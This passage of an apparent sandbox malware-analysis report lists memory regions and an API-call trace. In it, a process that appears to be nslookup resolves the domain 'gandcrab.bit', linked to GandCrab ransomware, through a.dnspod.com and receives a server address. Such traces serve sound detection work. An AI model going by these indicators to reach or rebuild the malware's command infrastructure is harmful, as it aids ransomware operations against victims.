5889 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5890 start_va = 0x7f2e0000 end_va = 0x7f302fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f2e0000" filename = "" Region: id = 5891 start_va = 0x7f308000 end_va = 0x7f308fff entry_point = 0x0 region_type = private name = "private_0x000000007f308000" filename = "" Region: id = 5892 start_va = 0x7f309000 end_va = 0x7f309fff entry_point = 0x0 region_type = private name = "private_0x000000007f309000" filename = "" Region: id = 5893 start_va = 0x7f30d000 end_va = 0x7f30ffff entry_point = 0x0 region_type = private name = "private_0x000000007f30d000" filename = "" Region: id = 5894 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5895 start_va = 0x7fff0000 end_va = 0x7df9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5896 start_va = 0x7df9ee770000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df9ee770000" filename = "" Region: id = 5897 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5898 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 5899 start_va = 0x4520000 end_va = 0x452ffff entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 5900 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5901 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5902 start_va = 0x45e0000 end_va = 0x46dffff entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 5903 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5944 start_va = 0x2e0000 end_va = 0x2effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 5945 start_va = 0x2f0000 end_va = 0x2f3fff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 5946 start_va = 0x4400000 end_va = 0x44bdfff entry_point = 0x4400000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5947 start_va = 0x44c0000 end_va = 0x44fffff entry_point = 0x0 region_type = private name = "private_0x00000000044c0000" filename = "" Region: id = 5948 start_va = 0x4530000 end_va = 0x456ffff entry_point = 0x0 region_type = private name = "private_0x0000000004530000" filename = "" Region: id = 5949 start_va = 0x4820000 end_va = 0x482ffff entry_point = 0x0 region_type = private name = "private_0x0000000004820000" filename = "" Region: id = 5950 start_va = 0x73e50000 end_va = 0x73ed3fff entry_point = 0x73e50000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 5951 start_va = 0x74070000 end_va = 0x740bdfff entry_point = 0x74070000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 5952 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5953 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5954 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5955 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5956 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5957 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5958 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5959 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 5960 start_va = 0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 5961 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5962 start_va = 0x7f1e0000 end_va = 0x7f2dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f1e0000" filename = "" Region: id = 5963 start_va = 0x7f30a000 end_va = 0x7f30cfff entry_point = 0x0 region_type = private name = "private_0x000000007f30a000" filename = "" Region: id = 5964 start_va = 0x73ff0000 end_va = 0x74001fff entry_point = 0x73ff0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 5965 start_va = 0x73e30000 end_va = 0x73e45fff entry_point = 0x73e30000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 5966 start_va = 0x73e10000 end_va = 0x73e22fff entry_point = 0x73e10000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 5967 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5968 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5969 start_va = 0x4570000 end_va = 0x4599fff entry_point = 0x4570000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5970 start_va = 0x4830000 end_va = 0x49b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004830000" filename = "" Region: id = 5971 start_va = 0x771f0000 end_va = 0x7721afff entry_point = 0x771f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5972 start_va = 0x748c0000 end_va = 0x749dffff entry_point = 0x748c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5973 start_va = 0x300000 end_va = 0x304fff entry_point = 0x300000 region_type = mapped_file name = "nslookup.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\nslookup.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\nslookup.exe.mui") Region: id = 5974 start_va = 0x49c0000 end_va = 0x4b40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000049c0000" filename = "" Region: id = 5975 start_va = 0x4b50000 end_va = 0x5f4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b50000" filename = "" Region: id = 5976 start_va = 0x4500000 end_va = 0x4500fff entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 5977 start_va = 0x4510000 end_va = 0x4510fff entry_point = 0x0 region_type = private name = "private_0x0000000004510000" filename = "" Region: id = 5978 start_va = 0x73e00000 end_va = 0x73e0afff entry_point = 0x73e00000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 5979 start_va = 0x74010000 end_va = 0x74017fff entry_point = 0x74010000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 5980 start_va = 0x74180000 end_va = 0x741affff entry_point = 0x74180000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 5981 start_va = 0x74170000 end_va = 0x74177fff entry_point = 0x74170000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 5982 start_va = 0x74020000 end_va = 0x74065fff entry_point = 0x74020000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 5983 start_va = 0x73f10000 end_va = 0x73f2afff entry_point = 0x73f10000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Thread: id = 226 os_tid = 0xab4 [0163.986] GetModuleHandleA (lpModuleName=0x0) returned 0x310000 [0163.986] __set_app_type (_Type=0x1) [0163.986] __p__fmode () returned 0x77454d6c [0163.986] __p__commode () returned 0x77455b1c [0163.986] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x31cf30) returned 0x0 [0163.987] __getmainargs (in: _Argc=0x321888, _Argv=0x32188c, _Env=0x321890, _DoWildCard=0, _StartInfo=0x32189c | out: _Argc=0x321888, _Argv=0x32188c, _Env=0x321890) returned 0 [0163.987] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0163.987] SetThreadUILanguage (LangId=0x0) returned 0x409 [0163.989] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x322120 | out: lpWSAData=0x322120) returned 0 [0163.991] socket (af=2, type=2, protocol=0) returned 0xd0 [0163.992] closesocket (s=0xd0) returned 0 [0163.992] RtlIpv4StringToAddressA () returned 0x0 [0163.992] RtlInitString (in: DestinationString=0x43cf6f0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0163.992] RtlAnsiStringToUnicodeString (in: DestinationString=0x43cf6f8, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0163.992] NtOpenKey (in: KeyHandle=0x43cf728, DesiredAccess=0x20019, ObjectAttributes=0x43cf6d8*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x43cf728*=0xd0) returned 0x0 [0163.992] RtlFreeAnsiString (AnsiString="\\") [0163.992] RtlAnsiStringToUnicodeString (in: DestinationString=0x43cf6e4, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0163.992] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x45ef0e0, Length=0x400, ResultLength=0x43cf6ec | out: KeyValueInformation=0x45ef0e0, ResultLength=0x43cf6ec) returned 0xc0000034 [0163.992] RtlAnsiStringToUnicodeString (in: DestinationString=0x43cf6e4, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0163.992] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x45ef0e0, Length=0x400, ResultLength=0x43cf6ec | out: KeyValueInformation=0x45ef0e0*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x43cf6ec) returned 0x0 [0163.992] RtlUnicodeStringToAnsiString (in: DestinationString=0x43cf6dc, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0163.993] RtlAnsiStringToUnicodeString (in: DestinationString=0x43cf6e4, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0163.993] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x45ef0e0, Length=0x400, ResultLength=0x43cf6ec | out: KeyValueInformation=0x45ef0e0, ResultLength=0x43cf6ec) returned 0xc0000034 [0163.993] RtlInitString (in: DestinationString=0x43cf6f0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0163.993] RtlAnsiStringToUnicodeString (in: DestinationString=0x43cf6f8, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0163.993] NtOpenKey (in: KeyHandle=0x43cf714, DesiredAccess=0x20019, ObjectAttributes=0x43cf6d8*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x43cf714*=0x0) returned 0xc0000034 [0163.993] RtlFreeAnsiString (AnsiString="\\") [0163.993] RtlAnsiStringToUnicodeString (in: DestinationString=0x43cf6e4, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0163.993] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x45ef0e0, Length=0x400, ResultLength=0x43cf6ec | out: KeyValueInformation=0x45ef0e0, ResultLength=0x43cf6ec) returned 0xc0000034 [0163.993] RtlAnsiStringToUnicodeString (in: DestinationString=0x43cf6e4, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0163.993] NtQueryValueKey (in: KeyHandle=0xd0, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x45ef0e0, Length=0x400, ResultLength=0x43cf6ec | out: KeyValueInformation=0x45ef0e0, ResultLength=0x43cf6ec) returned 0xc0000034 [0163.993] gethostname (in: name=0x4822300, namelen=12800 | out: name="LHnIwsj") returned 0 [0164.014] getenv (_VarName="HOME") returned 0x0 [0164.014] RtlIpv4StringToAddressA () returned 0xc000000d [0164.014] RtlIpv6StringToAddressExA (AddressString="a.dnspod.com", Address=0x43cf780, ScopeId=0x43cf790, Port=0x43cf77a) returned 0xc000000d [0164.014] RtlRestoreLastWin32Error () returned 0x2550 [0164.014] getaddrinfo (in: pNodeName="a.dnspod.com", pServiceName=0x0, pHints=0x0, ppResult=0x43cf748 | out: ppResult=0x43cf748*=0x45ecd98*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x45f6448*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0)) returned 0 [0164.024] FreeAddrInfoW (pAddrInfo=0x45ecd98*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x45f6448*(sa_family=2, sin_port=0x0, sin_addr="112.90.141.215"), ai_next=0x0)) [0164.025] _vsnprintf_s (in: _DstBuf=0x43cf628, _DstSize=0x1f, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x43bf5f0 | out: _DstBuf="215.141.90.112.in-addr.arpa.") returned 28 [0164.025] htons (hostshort=0x1) returned 0x100 [0164.025] htons (hostshort=0x1) returned 0x100 [0164.026] socket (af=2, type=2, protocol=0) returned 0x19c [0164.026] connect (s=0x19c, name=0x4820d28*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0164.026] send (in: s=0x19c, buf=0x43bf628*, len=45, flags=0 | out: buf=0x43bf628*) returned 45 [0164.026] select (in: nfds=412, readfds=0x43af228, writefds=0x0, exceptfds=0x0, timeout=0x43af1f8 | out: readfds=0x43af228, writefds=0x0, exceptfds=0x0) returned 0 [0166.031] printf (_Format="DNS request timed out.\n") returned 23 [0166.031] printf (_Format=" timeout was %d seconds.\n") returned 27 [0166.031] closesocket (s=0x19c) returned 0 [0166.031] RtlIpv4AddressToStringExA () returned 0xc000000d [0166.031] strcpy_s (in: _Dst=0x48211a8, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0166.031] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x45eeff0 [0166.031] strcpy_s (in: _Dst=0x322020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0166.031] __iob_func () returned 0x77451208 [0166.031] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x43cf4f0, nSize=0x0, Arguments=0x43cf4f4 | out: lpBuffer="¨i_\x04\x04õ<\x04\x14õ<\x045´1") returned 0x7 [0166.032] fprintf (in: _File=0x77451228, _Format="%-7s %s" | out: _File=0x77451228) returned 16 [0166.032] fprintf (in: _File=0x77451228, _Format="\nAddress:" | out: _File=0x77451228) returned 9 [0166.032] inet_ntoa (in=0xd78d5a70) returned="112.90.141.215" [0166.032] fprintf (in: _File=0x77451228, _Format="%c %s" | out: _File=0x77451228) returned 16 [0166.032] fprintf (in: _File=0x77451228, _Format="\n\n" | out: _File=0x77451228) returned 2 [0166.032] RtlIpv4StringToAddressA () returned 0xc000000d [0166.032] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0x43cf4d0, ScopeId=0x43cf4e0, Port=0x43cf4ca) returned 0xc000000d [0166.032] RtlRestoreLastWin32Error () returned 0x2550 [0166.032] RtlIpv4StringToAddressA () returned 0xc000000d [0166.032] RtlIpv6StringToAddressExA (AddressString="gandcrab.bit", Address=0x43cf458, ScopeId=0x43cf468, Port=0x43cf452) returned 0xc000000d [0166.032] RtlRestoreLastWin32Error () returned 0x2550 [0166.032] sprintf_s (in: _DstBuf=0x43cf1c0, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0166.032] htons (hostshort=0x2) returned 0x200 [0166.032] htons (hostshort=0x1) returned 0x100 [0166.032] socket (af=2, type=2, protocol=0) returned 0x19c [0166.032] connect (s=0x19c, name=0x45ef010*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0166.032] send (in: s=0x19c, buf=0x43bf1c0*, len=30, flags=0 | out: buf=0x43bf1c0*) returned 30 [0166.033] select (in: nfds=412, readfds=0x43aedc0, writefds=0x0, exceptfds=0x0, timeout=0x43aed90 | out: readfds=0x43aedc0, writefds=0x0, exceptfds=0x0) returned 1 [0166.276] recv (in: s=0x19c, buf=0x43af180, len=65536, flags=0 | out: buf=0x43af180*) returned 124 [0166.277] closesocket (s=0x19c) returned 0 [0166.277] htons (hostshort=0x100) returned 0x1 [0166.277] htons (hostshort=0x100) returned 0x1 [0166.277] htons (hostshort=0x300) returned 0x3 [0166.277] htons (hostshort=0x0) returned 0x0 [0166.277] LocalAlloc (uFlags=0x40, uBytes=0x36b20) returned 0x45f79a0 [0166.278] sprintf_s (in: _DstBuf=0x43cf1c0, _DstSize=0x202, _Format="%s.%s" | out: _DstBuf="gandcrab.bit.") returned 13 [0166.278] htons (hostshort=0x3) returned 0x300 [0166.278] htons (hostshort=0x1) returned 0x100 [0166.278] socket (af=2, type=2, protocol=0) returned 0x19c [0166.278] connect (s=0x19c, name=0x45ef010*(sa_family=2, sin_port=0x35, sin_addr="112.90.141.215"), namelen=16) returned 0 [0166.278] send (in: s=0x19c, buf=0x43bf1c0*, len=30, flags=0 | out: buf=0x43bf1c0*) returned 30 [0166.278] select (in: nfds=412, readfds=0x43aedc0, writefds=0x0, exceptfds=0x0, timeout=0x43aed90 | out: readfds=0x43aedc0, writefds=0x0, exceptfds=0x0) returned 1 [0166.524] recv (in: s=0x19c, buf=0x43af180, len=65536, flags=0 | out: buf=0x43af180*) returned 100 [0166.525] closesocket (s=0x19c) returned 0 [0166.525] htons (hostshort=0x100) returned 0x1 [0166.525] htons (hostshort=0x0) returned 0x0 [0166.525] htons (hostshort=0x100) returned 0x1 [0166.525] htons (hostshort=0x0) returned 0x0 [0166.525] htons (hostshort=0x100) returned 0x1 [0166.525] htons (hostshort=0x0) returned 0x0 [0166.525] htons (hostshort=0x100) returned 0x1 [0166.525] htons (hostshort=0x0) returned 0x0 [0166.525] htons (hostshort=0x100) returned 0x1 [0166.525] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x43cf488, nSize=0x0, Arguments=0x43cf48c | out: lpBuffer="\x98i_\x04\x9cô<\x04¬ô<\x045´1") returned 0x5 [0166.525] fprintf (in: _File=0x77451228, _Format="%-7s %s" | out: _File=0x77451228) returned 21 [0166.525] fprintf (in: _File=0x77451228, _Format="\nAddress:" | out: _File=0x77451228) returned 9 [0166.525] inet_ntoa (in=0x6ce9b4e) returned="78.155.206.6" [0166.525] fprintf (in: _File=0x77451228, _Format="%c %s" | out: _File=0x77451228) returned 14 [0166.525] fprintf (in: _File=0x77451228, _Format="\n\n" | out: _File=0x77451228) returned 2 [0166.525] LocalFree (hMem=0x45eeff0) returned 0x0 [0166.525] exit (_Code=0) Thread: id = 231 os_tid = 0xa74 Process: id = "17" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6f945000" os_pid = "0xb68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xaa8" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5904 start_va = 0x7f30e000 end_va = 0x7f30efff entry_point = 0x0 region_type = private name = "private_0x000000007f30e000" filename = "" Region: id = 5905 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5906 start_va = 0x41520c0000 end_va = 0x41520dffff entry_point = 0x0 region_type = private name = "private_0x00000041520c0000" filename = "" Region: id = 5907 start_va = 0x41520e0000 end_va = 0x41520f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000041520e0000" filename = "" Region: id = 5908 start_va = 0x4152100000 end_va = 0x415213ffff entry_point = 0x0 region_type = private name = "private_0x0000004152100000" filename = "" Region: id = 5909 start_va = 0x7df5ff9f0000 end_va = 0x7ff5ff9effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff9f0000" filename = "" Region: id = 5910 start_va = 0x7ff707550000 end_va = 0x7ff707572fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707550000" filename = "" Region: id = 5911 start_va = 0x7ff707579000 end_va = 0x7ff707579fff entry_point = 0x0 region_type = private name = "private_0x00007ff707579000" filename = "" Region: id = 5912 start_va = 0x7ff70757e000 end_va = 0x7ff70757ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70757e000" filename = "" Region: id = 5913 start_va = 0x7ff707ed0000 end_va = 0x7ff707ee0fff entry_point = 0x7ff707ed0000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 5914 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5915 start_va = 0x4152260000 end_va = 0x415235ffff entry_point = 0x0 region_type = private name = "private_0x0000004152260000" filename = "" Region: id = 5916 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5917 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5918 start_va = 0x41520c0000 end_va = 0x41520cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000041520c0000" filename = "" Region: id = 5919 start_va = 0x41520d0000 end_va = 0x41520d6fff entry_point = 0x0 region_type = private name = "private_0x00000041520d0000" filename = "" Region: id = 5920 start_va = 0x4152140000 end_va = 0x41521fdfff entry_point = 0x4152140000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5921 start_va = 0x4152200000 end_va = 0x415223ffff entry_point = 0x0 region_type = private name = "private_0x0000004152200000" filename = "" Region: id = 5922 start_va = 0x4152240000 end_va = 0x4152240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004152240000" filename = "" Region: id = 5923 start_va = 0x4152250000 end_va = 0x4152256fff entry_point = 0x0 region_type = private name = "private_0x0000004152250000" filename = "" Region: id = 5924 start_va = 0x4152360000 end_va = 0x4152360fff entry_point = 0x0 region_type = private name = "private_0x0000004152360000" filename = "" Region: id = 5925 start_va = 0x4152370000 end_va = 0x4152370fff entry_point = 0x0 region_type = private name = "private_0x0000004152370000" filename = "" Region: id = 5926 start_va = 0x4152400000 end_va = 0x415240ffff entry_point = 0x0 region_type = private name = "private_0x0000004152400000" filename = "" Region: id = 5927 start_va = 0x4152410000 end_va = 0x4152597fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004152410000" filename = "" Region: id = 5928 start_va = 0x41525a0000 end_va = 0x4152720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000041525a0000" filename = "" Region: id = 5929 start_va = 0x4152730000 end_va = 0x4153b2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004152730000" filename = "" Region: id = 5930 start_va = 0x7ff707450000 end_va = 0x7ff70754ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707450000" filename = "" Region: id = 5931 start_va = 0x7ff70757c000 end_va = 0x7ff70757dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70757c000" filename = "" Region: id = 5932 start_va = 0x7ff9e0000000 end_va = 0x7ff9e0052fff entry_point = 0x7ff9e0000000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 